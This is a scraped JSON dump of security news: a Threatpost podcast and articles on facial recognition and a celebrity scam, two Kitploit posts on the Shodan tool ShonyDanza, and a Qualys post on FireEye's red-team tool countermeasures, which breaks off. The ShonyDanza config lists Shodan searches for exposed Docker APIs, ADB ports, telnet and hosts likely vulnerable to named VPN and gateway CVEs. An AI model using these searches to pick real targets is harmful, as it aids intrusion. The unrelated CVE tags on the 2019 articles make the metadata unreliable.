grid, perhaps I think for a while now, he\u2019s part of the system. And then we flew back into the United States. There was these huge immigration lines in the Boston Airport. And one of the things that we were able to do was to cut the line by using what was called a mobile passport app. And I didn\u2019t realize it but when you use the app, and you get to skip this, this huge onerous line that goes to basically more facial recognition kiosks for people coming into the United States. And the app itself was pretty slick. I mean, it\u2019s kind of funny, because I felt really good about using the app, because it allowed me to cut in line. But the app basically did a facial recognition, had me input my passport information, and basically, took my identity in this app. And, I was so eager to cut the line, I gotta admit, I kind of skipped over a lot of the terms of services. And it saved me about 45 minutes. And for the price of handing over my biometric data to the government and to this to this app.\n\n**Lindsey: **That experience brings up a really good point, because, I think that there definitely are benefits to facial recognition. Like, it\u2019s not all about this dire Orwellian society. I think it makes these processes so much more efficient. But I do think there\u2019s also a bunch of kind of privacy concerns that people expressed to me over the past week. And, Tom, like you were saying, consent and notification, but then also in terms of how the data is being secured, how it\u2019s being shared, and who\u2019s gaining access to that data. So I think that there\u2019s kind of a lot that goes into it. I know that we actually did a poll, a Threatpost poll, and half of the respondents, this kind of surprised me, but half of the respondents said that they don\u2019t believe consent is realistically possible when it comes to facial recognition. So I thought that was interesting, too, because if you think about some of the use cases where biometrics and facial recognition exists, if you have like a security camera, or surveillance camera that is using facial recognition, there\u2019s not a lot you can do to opt out of that except for avoiding that area.\n\n**Tom:**Well, I think you mentioned that the White House now has a zone where they use facial recognition. And right there, there\u2019s no way you can say no, you walk into that zone. And you\u2019re basically get put into a big database, and they cross reference it and figure out who you are.\n\n**Lindsey: **Right. So there\u2019s a lot that goes into that. And then when I was talking to a bunch of security people at the Electronic Frontier Foundation, as well, they were mentioning that there really needs to be regulation for all this. And there, there is one law that exists in Illinois, where it basically regulates the collection of biometric data without consent. But they think that there needs to be more. And in particular, regulation that impacts law enforcement, as opposed to just businesses which that law did. So I know, there\u2019s also been a new bill that was introduced in March, it was, what was it called, the Commercial Facial Recognition Privacy Act, that would have like more widespread implications for businesses in terms of how what kind of notification and consent they would need when they use facial recognition. So I think that\u2019s kind of a step in the right direction, but something to be looking out for.\n\n**Tom: **Yeah, facial recognition has been a creepy topic for a long time. But you know, as these GPUs get better, and these computers get better, and the efficiency of the compute behind them get better. It just becomes even creepier. I don\u2019t even think the tin foil hats will help protect you.\n\n**Lindsey: **So Tom, you also had an interesting story this week. I think it was about passwords being \u2013 I think it was 2 million passwords were \u2013 being exposed.\n\n**Tom: **Yeah. So I mean, we hear about these breach stories all the time. And I mean, there\u2019s probably like, since we\u2019ve been talking, there\u2019s probably been like three breaches, or should I say leaky servers and insecure data on the internet. And one of the things that I think is kind of interesting about the story is that the leaky data, it was tied to a China-based app manufacturer, called Wi Fi Finder. And researchers at GDI Foundation, found 2 million hotspots and passwords for those hotspots on the servers of this app, this Android app called WiFi Finder. And essentially, it\u2019s pretty straightforward. The app itself is an Android-based app, you can get it on Google Play. And it\u2019s one of many of apps that do the same thing. And that is essentially crowdsource on Wi-Fi hotspot data, and also pairing that information with passwords. So the idea is if your dataset is big enough, and you\u2019re wandering around with this app on your phone, you can find a hotspot, and you can authenticate to that hotspot, and you don\u2019t have to ask anybody for a Wi-Fi password. Now, the data that was found on the servers was pretty extensive in the sense that it wasn\u2019t just commercial businesses. So you know, you go to Starbucks, you go to your local gym, or you go to, you know, a bookstore or something like that, you know, you have these public Wi Fi hotspots with a password that you may have to ask for, you may have to look for. And what was happening was that people were crowdsourcing private companies that were not, generally publicly accessible. And for some odd reason, and this really wasn\u2019t explained very well in the reporting, of the research, was that there was a massive, massive amount of Wi-Fi hotspots that were owned by home users like consumers. And so you would you basically had a lot of a lot of password information and a lot of hotspots by consumers in their homes. And the concern there is, is that in a commercial setting, or even in a sort of a public business, publicly accessible hotspot, there are protections put in place to prevent people from messing with the router configurations and accessing some of the some of the settings within the router. But as if you have access to a home router, those security measures are not in place. And there was no documented cases of hacking, but the concern was there regarding that type of information being available to anybody that had access to this leaky server.\n\n**Lindsey:**I feel like we keep seeing this issue of insecure databases and these accidental exposures, which, obviously are different from a malicious breach. I\u2019m curious if there\u2019s something that can be done to prevent this for people who own these databases. I mean, Tom, did you talk to anyone, any experts who had any recommendations about how to better secure databases and kind of what the underlying problem is here?\n\n**Tom: **I did talk to a couple experts on this one. And, you know, the advice is always the same.In terms of leaky data on servers, it doesn\u2019t change much. Just make sure you configure your servers correctly, and make sure that they\u2019re not accessible to the public. I mean, there\u2019s a couple strategies that you can apply to that. I think one of the one of the other suggestions was the way in which some of these publicly accessible sites providing and offer Wi-Fi, and that would be more or less not an open Wi-Fi, not an insecure Wi-Fi, but things that use tokens and allow and divvy out Wi-Fi to individuals using a specific time delineated username and a unique password. And that way, it would basically render all of these apps useless, because there would be a unique username and a unique password, that would timeout within a certain period of time, which would really create a much more secure public Wi-Fi experience. And that was really the suggestion. And that was really what the experts were saying that I talked to regarding the blowback on this story.\n\n**Lindsey: **Well, I\u2019m feeling sufficiently like I need more privacy right now. Maybe we should wrap up now, Tom and Tara, thanks for taking the time and really interesting discussion today.\n\n**Tara: **Yeah. Thanks, Lindsay. Thanks, Tom.\n\n**Tom: **Yeah, have a great weekend. Have a great weekend.\n\n**Lindsey: **Catch us next week on the Threatpost podcast.\n\nFor direct download, [click here](<http://traffic.libsyn.com/digitalunderground/NEWS_WRAP_FINAL.mp3>).\n", "cvss3": {}, "published": "2019-04-26T17:57:36", "type": "threatpost", "title": "News Wrap: Amazon Echo Privacy, Facebook FTC Fines and Biometrics Regulation", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T17:57:36", "id": "THREATPOST:FE41B3825C6A9EE91B00CDADD2AF9147", "href": "https://threatpost.com/threatpost-news-wrap-podcast-for-apr-26/144144/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:48", "description": "English actor Jason Statham \u2013 a.k.a. \u201cthe Transporter\u201d \u2013 is cozying up to people who like his Facebook page \u2013 or at least, someone purporting to be him is.\n\nA fraudster managed to bilk a vulnerable and unsuspecting Statham fan out of a \u201csignificant amount\u201d of money after approaching her while she was perusing a fan page for the actor on Facebook.\n\n\u201cShe thought it was nice that the actor had seemingly embraced \u2018talking to his fans,\u2019 and she admitted that she was also in a vulnerable place after recently losing her mother and fianc\u00e9,\u201d explained researchers at Tripwire, who flagged the incident in a [Monday post](<https://www.tripwire.com/state-of-security/latest-security-news/fraudster-posed-as-jason-statham-to-prey-upon-star-struck-users/>). \u201cShe therefore felt no unease when the fraudster asked her to talk with them over WhatsApp.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nA truly bad romance ensued, with hundreds of WhatsApp messages flying between the two over the course of months, during with Faux Statham professed his undying love: \u201cWill you love me and be the special woman beside me for the rest of your life honey\u201d reads one of the messages.\n\nAfter a pattern of trust was established, the supposed action-hero actor started to complain about financial difficulties due to a delayed film payment: \u201cI really need you to do this for me honey \u2019cause I can\u2019t trust anyone but you with my money honey.\u201d\n\nThe victim proceeded to send Western Union an undisclosed sum, after which the supposed Statham disappeared.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30163632/Statham-fraud.png>)\n\nSource: BBC\n\nAs detective constable Craig Moylon of the Greater Manchester Police in the UK [told the BBC](<https://www.bbc.com/news/uk-england-manchester-47969165>), \u201cThis lady has been subject to somebody who just tricked her at a very vulnerable time in her life. When you see the relentless messaging that this lady got from this person and you see the grooming and the exploitation\u2026 the impact is extraordinary.\u201d\n\nThe gullibility of the victim stood out to Tyler Reguly, manager of security R&D at Tripwire. He linked it to generational and cultural norms.\n\n\u201cThis is typically what I find most surprising about [successful scams](<https://threatpost.com/godaddy-shutters-subdomains-snake-oil/144147/>),\u201d he told Threatpost in an interview. \u201cThere\u2019s a desire to believe, no matter how unlikely the scenario. We\u2019re a society of dreamers \u2013 \u2018I can win the lottery,\u2019 \u2018I can marry Celebrity X,\u2019 \u2018I can perform on stage alongside Singer Y\u2019 \u2013 and unfortunately, modern generations are being brought up to put even more belief in their dreams. So, while we have more tech savvy individuals, we have more potential targets for these criminals.\u201d\n\nThis scam also highlights the ingenuity of bad actors who prey upon unsuspecting users on social media, according to Tripwire.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30164155/Jason-Statham-008.jpg>)\n\n\u201cI would suspect that they setup a fan page for a celebrity and then contacted people via that fan page, claiming to be the celebrity,\u201d Reguly said. \u201cAlternatively, they may have been looking for people who publicly \u2018liked\u2019 a real Jason Statham page and reached out to those users, which is why it is important to verify the identity of those sending messages before you respond. In the case of the former, Facebook has done a great job of providing verified pages (similar to Twitter\u2019s verified users) that make it easy to tell when you\u2019re looking at a page associated with a known entity. (Specifically: \u2018A blue verification badge confirms that this is an authentic Page for this public figure, media company or brand\u2019).\u201d\n\nThese types of scams are on the rise, precisely because they\u2019re successful.\n\n\u201cI\u2019d be willing to wager that it is starting to become relatively common,\u201d Reguly said. \u201cPeople tend to have a soft spot for celebrities, we see people stand in line for hours to catch a glimpse of their favorite star filming, or pay hundreds of dollars for a quick handshake and autograph at conventions. We have a desire to connect with people who have had a meaningful impact in our lives, and that is quite commonly celebrities, particularly those that filled a role near and dear to our hearts or that sung a song that has always stuck with us\u2026.These scams work because we want to believe.\u201d\n", "cvss3": {}, "published": "2019-04-30T21:24:20", "type": "threatpost", "title": "Fake Jason Statham Bilks a Fan Out of Serious Money", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-30T21:24:20", "id": "THREATPOST:1925DCFAF239C5B25D21852DB978E8E9", "href": "https://threatpost.com/fake-jason-statham-fan-money/144247/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:16", "description": "Half of respondents in a recent Threatpost poll said that they don\u2019t believe consent realistically exists when it comes to real-life facial recognition.\n\nThe [recent poll](<https://threatpost.com/poll-creeped-out-facial-recognition/144084/>) of 170 readers comes as facial recognition applications [continue to pop up](<https://threatpost.com/facial-recognition-are-we-ready/144066/>) in the real world \u2013 from airports to police forces. While biometrics certainly has advantages \u2013 such as making identification more efficient \u2013 gaining consent from people whose biometrics are being taken remains a mystery to some, with 53 percent of respondents saying they don\u2019t believe that consent exists or is possible in real-life facial recognition applications .\n\nIn the poll, 32 percent more respondents said that consent will be the act of giving people notification that an area is using facial recognition; and only 10 percent said consent is the ability to opt out of facial recognition applications.\n\nThe issue of biometrics consent came to the forefront again in December when the Department of Homeland Security unveiled a facial-recognition pilot program for monitoring public areas surrounding the [White House](<https://threatpost.com/white-house-facial-recognition-pilot-raises-privacy-alarms/139649/>). When asked about consent, the department said that the public cannot opt-out of the pilot, except by avoiding the areas that will be filmed as part of the program.\n\n\u201cA very weak form of protection is if the government or a business [that uses biometrics for] surveillance, they notify people,\u201d Adam Schwartz, senior staff attorney with the Electronic Frontier Foundation\u2019s civil liberties team, told Threatpost. \u201cWe think this is not consent \u2013 real consent is where they don\u2019t aim a camera at you.\u201d\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/25163405/consent.png>)\n\nBeyond consent, more than half of poll respondents said that they have negative feelings toward facial recognition due to issues related to privacy and security \u2013 while 30 percent more said they have \u201cmixed\u201d feelings, understanding both the benefits and privacy concerns.\n\nWhen asked what concerns them the most about real-world facial applications, 55 percent of those surveyed pointed to privacy and surveillance issues, while 29 percent said the security of biometrics information and how the data is shared.\n\nDespite these concerns, biometrics continues to gain traction, with the EU last week [approving](<https://www.securityresearch-cou.eu/sites/default/files/02.Rinkens.Secure%20safe%20societies_EU%20interoperability_4-3_v1.0.pdf>) a massive biometrics database for both EU and non-EU citizens. The EU\u2019s approval of the database, called the \u201cCommon Identity Repository,\u201d will aim to connect the systems used by border control, migration and law-enforcement agencies.\n\nAs biometrics continue to increase, meanwhile, up to 85 percent of respondents said that they think that facial recognition should be regulated in the future.\n\nSuch laws exist or are being discussed as it relates to consent: An [Illinois law](<http://www.ilga.gov/legislation/ilcs/ilcs3.asp?ActID=3004&ChapterID=57>) for instance regulates collection of biometric information (including for facial recognition) without consent.\n\nHowever, that law only applies to businesses and not law enforcement. Meanwhile, a new bill introduced in the Senate in [March](<https://www.schatz.senate.gov/imo/media/doc/SIL19337.pdf>), the \u201cCommercial Facial Recognition Privacy Act,\u201d would bar businesses that are using facial recognition from harvesting and sharing user data without consent.\n\n\u201cThe time to regulate and restrict the use of facial recognition technology is now, before it becomes embedded in our everyday lives,\u201d said Jason Kelly, digital strategist with EFF, in a [recent post](<https://www.eff.org/deeplinks/2019/04/skip-surveillance-opting-out-face-recognition-airports>). \u201cGovernment agencies and airlines have ignored years of warnings from privacy groups and Senators that using face recognition technology on travelers would massively violate their privacy. Now, the passengers are in revolt as well, and they\u2019re demanding answers.\u201d\n", "cvss3": {}, "published": "2019-04-26T12:10:15", "type": "threatpost", "title": "Facial Recognition 'Consent\u2019 Doesn\u2019t Exist, Threatpost Poll Finds", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T12:10:15", "id": "THREATPOST:677D5A0A56D06021C8EF30D0361579C6", "href": "https://threatpost.com/facial-recognition-consent-doesnt-exist-threatpost-poll-finds/144126/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "kitploit": [{"lastseen": "2022-04-07T12:01:24", "description": "[](<https://blogger.googleusercontent.com/img/a/AVvXsEjG7AfpHcNjkzZMtvplE2bYVsPCgZ1wyo5jesct_CsGBPhciWCUWFhqC4SLSNboL7iPTWtI0RpGyHZQCbSylFXDC1py1fWqO3vCbpVdYDcHTRT2va2EUO1Vp9dPAgOP6FamNin8VZZdxS42vTbMMddcAUnuN5AAWWwfJDH2pfpmQhjA5RV51QbUk8BqJQ=s586>)\n\n \n\n\nA customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\n \n\n\nWith ShonyDanza, you can:\n\n * Obtain IPs based on search criteria\n * Automatically exclude honeypots from the results based on your pre-configured thresholds\n * Pre-configure all IP searches to filter on your specified net range(s)\n * Pre-configure search limits\n * Use build-a-search to craft searches with easy building blocks\n * Use stock searches and pre-configure your own stock searches\n * Check if IPs are known [malware](<https://www.kitploit.com/search/label/Malware> \"malware\" ) C2s\n * Get host and domain profiles\n * Scan on-demand\n * Find exploits\n * Get total counts for searches and exploits\n * Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\n## Installation\n\n`git clone https://github.com/fierceoj/ShonyDanza.git` \n\n\n> Requirements\n\n * python3\n * shodan library\n\n`cd ShonyDanza` \n`pip3 install -r requirements.txt`\n\n## Usage\n\n> Edit config.py to include your desired configurations \n`cd configs` \n`sudo nano config.py` \n\n\ndictionary below to add it to your shonydanza stock searches menu #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510) STOCK_SEARCHES = { 'ANONYMOUS_FTP':'ftp anonymous ok', 'RDP':'port:3389 has_screenshot:true', 'OPEN_TELNET':'port:23 [console](<https://www.kitploit.com/search/label/Console> \"console\" ) [gateway](<https://www.kitploit.com/search/label/Gateway> \"gateway\" ) -password', 'APACHE_DIR_LIST':'http.title:\"Index of /\"', 'SPRING_BOOT':'http.favicon.hash:116323821', 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', 'DOCKER_API':'\"Docker Containers:\" port:2375', 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' } #OPTIONAL #IP or cidr range constraint for searches that return list of IP addresses #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) #NET_RANGE = '0.0.0.0/0' \">\n \n \n #config file for shonydanza searches \n \n #REQUIRED \n #maximum number of results that will be returned per search \n #default is 100 \n \n SEARCH_LIMIT = 100 \n \n \n #REQUIRED \n #IPs exceeding the honeyscore limit will not show up in IP results \n #scale is 0.0 to 1.0 \n #adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results \n \n HONEYSCORE_LIMIT = 1.0 \n \n \n #REQUIRED - at least one key: value pair \n #add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu \n #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries \n #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510) \n \n STOCK_SEARCHES = { \n 'ANONYMOUS_FTP':'ftp anonymous ok', \n 'RDP':'port:3389 has_screenshot:true', \n 'OPEN_TELNET':'port:23 console gateway -password', \n 'APACHE_DIR_LIST':'http.title:\"Index of /\"', \n 'SPRING_BOOT':'http.favicon.hash:116323821', \n 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', \n 'DOCKER_API':'\"Docker Containers:\" port:2375', \n 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', \n 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', \n 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', \n 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', \n 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', \n 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' \n } \n \n \n #OPTIONAL \n #IP or cidr range constraint for searches that return list of IP addresses \n #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n \n #NET_RANGE = '0.0.0.0/0' \n \n\n> Run \n`cd ../` \n`python3 shonydanza.py` \n\n\nSee this [how-to article](<https://null-byte.wonderhowto.com/forum/to-use-shonydanza-find-target-and-exploit-0318883/> \"how-to article\" ) for additional usage instruction.\n\n## Legal Disclaimer\n\nThis project is made for educational and ethical [testing](<https://www.kitploit.com/search/label/Testing> \"testing\" ) purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.\n\n \n \n\n\n**[Download ShonyDanza](<https://github.com/fierceoj/ShonyDanza> \"Download ShonyDanza\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-27T20:30:00", "type": "kitploit", "title": "ShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-3452", "CVE-2020-5902"], "modified": "2021-12-27T20:30:00", "id": "KITPLOIT:4707889613618662864", "href": "http://www.kitploit.com/2021/12/shonydanza-customizable-easy-to_01477721372.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-07T12:01:27", "description": "[](<https://3.bp.blogspot.com/-HfvtRTCYnTM/YZ3QJbhSs3I/AAAAAAAA4AU/kC3BBy581dgTiAKCIDOlmGtohgCXuQhlgCK4BGAYYCw/s1600/ShonyDanza_1_shonydanza_demo-780791.gif>)\n\n \n\n\nA customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\n \n\n\nWith ShonyDanza, you can:\n\n * Obtain IPs based on search criteria\n * Automatically exclude honeypots from the results based on your pre-configured thresholds\n * Pre-configure all IP searches to filter on your specified net range(s)\n * Pre-configure search limits\n * Use build-a-search to craft searches with easy building blocks\n * Use stock searches and pre-configure your own stock searches\n * Check if IPs are known [malware](<https://www.kitploit.com/search/label/Malware> \"malware\" ) C2s\n * Get host and domain profiles\n * Scan on-demand\n * Find exploits\n * Get total counts for searches and exploits\n * Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\n## Installation\n\n`git clone https://github.com/fierceoj/ShonyDanza.git` \n\n\n> Requirements\n\n * python3\n * shodan library\n\n`cd ShonyDanza` \n`pip3 install -r requirements.txt`\n\n## Usage\n\n> Edit config.py to include your desired configurations \n`cd configs` \n`sudo nano config.py` \n\n \n \n #config file for shonydanza searches \n \n #REQUIRED \n #maximum number of results that will be returned per search \n #default is 100 \n \n SEARCH_LIMIT = 100 \n \n \n #REQUIRED \n #IPs exceeding the honeyscore limit will not show up in IP results \n #scale is 0.0 to 1.0 \n #adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results \n \n HONEYSCORE_LIMIT = 1.0 \n \n \n #REQUIRED - at least one key: value pair \n #add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu \n #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries \n #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510) \n \n STOCK_SEARCHES = { \n 'ANONYMOUS_FTP':'ftp anonymous ok', \n 'RDP':'port:3389 has_screenshot:true', \n 'OPEN_TELNET':'port:23 console gateway -password', \n 'APACHE_DIR_LIST':'http.title:\"Index of / \"', \n 'SPRING_BOOT':'http.favicon.hash:116323821', \n 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', \n 'DOCKER_API':'\"Docker Containers:\" port:2375', \n 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', \n 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', \n 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', \n 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', \n 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', \n 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' \n } \n \n \n #OPTIONAL \n #IP or cidr range constraint for searches that return list of IP addresses \n #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n \n #NET_RANGE = '0.0.0.0/0' \n \n\n> Run \n`cd ../` \n`python3 shonydanza.py` \n\n\nSee this [how-to article](<https://null-byte.wonderhowto.com/forum/to-use-shonydanza-find-target-and-exploit-0318883/> \"how-to article\" ) for additional usage instruction.\n\n## Legal Disclaimer\n\nThis project is made for educational and ethical [testing](<https://www.kitploit.com/search/label/Testing> \"testing\" ) purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.\n\n \n \n\n\n**[Download ShonyDanza](<https://github.com/fierceoj/ShonyDanza> \"Download ShonyDanza\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-01T20:30:00", "type": "kitploit", "title": "ShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-3452", "CVE-2020-5902"], "modified": "2021-12-01T20:30:00", "id": "KITPLOIT:4421457840699592233", "href": "http://www.kitploit.com/2021/12/shonydanza-customizable-easy-to.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2021-01-06T00:22:53", "description": "**Update Jan 5, 2021**: New patching section with two new dashboard widgets showing the number of missing FireEye-related patches in your environment and the number of assets in your environment missing one of those patches.\n\n**Update Dec 23, 2020**: Added a new section on compensating controls.\n\n**Update Dec 22, 2020: **FireEye disclosed the theft of their Red Team assessment tools. Hackers now have an influential collection of new techniques to draw upon.\n\nUsing Qualys VMDR, the vulnerabilities for Solorigate/SUNBURST can be prioritized for the following Real-Time Threat Indicators (RTIs):\n\n * Active Attacks\n * Solorigate Sunburst (**New RTI**)\n\n\n**Original post**: On December 8, 2020, [FireEye disclosed](<https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html>) theft of their Red Team assessment tools. These tools are used by FireEye to test and validate the security posture of their customers. According to FireEye, the hackers now have an influential collection of new techniques to draw upon. It is unclear today if the attackers intend to use the tools themselves or if they intend to release the tools publicly in some way. \n\n\u201cThe attackers tailored their world-class capabilities specifically to target and attack FireEye. They are highly trained in operational security and executed with discipline and focus. They operated clandestinely, using methods that counter security tools and forensic examination,\u201d said Kevin Mandia, CEO of FireEye. However, the stolen tools did not contain zero-day exploits. \n\nIn response to the breach, FireEye has provided Red Team tool countermeasures which are [available on GitHub](<https://github.com/fireeye/red_team_tool_countermeasures>). These countermeasures include rules in multiple languages such as Snort, Yara, ClamAV and HXIOC. Since none of the leaked tools leverage zero-day attacks, FireEye also provided a [listing of CVEs](<https://github.com/fireeye/red_team_tool_countermeasures/blob/master/CVEs_red_team_tools.md>) used by these tools. \n\nAn analysis of these tools shows that the functionality and capabilities may mimic some existing red team tools such as Metasploit or Cobalt Strike. Similar to how the Shadow Brokers leak led to outbreaks such as WannaCry, it is possible that this breach could lead to other commodity malware leveraging these capabilities. Any time there is high-fidelity threat intelligence such as the countermeasures provided by FireEye, it is important to look at it under the lens of how you can protect your organization going forward, as well as how you can validate if this has been used in your organization previously. \n\n### Mitigation & Protection \n\n[Snort](<https://www.snort.org/>) is an open-source intrusion prevention system (IPS) which uses an open format for its rule structure. While many companies use the open-source version of Snort, commercial IPS tools are also able to leverage the Snort rule format. Most of these rules are tuned to specifically look for beacon traffic or components of remote access tools. If your organization is using an IPS or IDS, you should plug in these signatures to look for evidence of future exploitation.\n\n[ClamAV](<https://www.clamav.net/>) is an open-source antivirus engine which is now owned by Cisco. To prevent these tools from executing on the endpoint, the provided signatures can be imported into this AV engine or any other antivirus which uses the ClamAV engine.\n\n[Yara](<https://github.com/VirusTotal/yara>) was designed by VirusTotal to help malware researchers both identify and classify malware samples. Yara can be used as a standalone scanning engine or built in to many endpoint security products as well. The provided rules can be imported into many endpoint security tools to match and block future execution of known malware.\n\nAnother important aspect for preventing the usage of these red teaming tools in your environment is to address the vulnerabilities they are known to exploit. There are 16 vulnerabilities which have been prioritized based on the CVSS score associated with them. Using a vulnerability management product such as [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can proactively search which endpoints or devices have these vulnerabilities and deploy patches or configuration fixes to resolve them before an adversary has a chance to exploit them. \n\n### Threat Hunting \n\nHunting for evidence of a breach is just as important as trying to prevent the breach. Two of the components FireEye released to help this search are HXIOC and Yara rules. These help define what triggers to look for to make the determination if the organization has been breached by these tools. \n\nThe HXIOC rules provided are based on the [OpenIOC](<https://github.com/mandiant/OpenIOC_1.1>) format originally created by Mandiant. These are similar to the STIX and CyBOX formats maintained by [OASIS](<https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=cti>). The rules provided by FireEye call out many process names and associated command line arguments which can be used to hunt for the evidence of an attack. \n\nBy using the provided Yara rule which encompasses all of the Yara countermeasures, you can scan multiple directories using the standalone Yara engine by issuing the \u201cyara -r all-rules.yara <path>\u201d, where <path> is the location you want to recursively scan. \n\nAlternatively, VirusTotal also has a useful API called [RetroHunt](<https://support.virustotal.com/hc/en-us/articles/360001293377-Retrohunt>) which allows you to scan files submitted within the last 12 months. [Florian Roth](<https://twitter.com/cyb3rops/status/1336583694912516096>) has gone through and submitted all of the provided Yara rules to RetroHunt and created a [Google Sheets 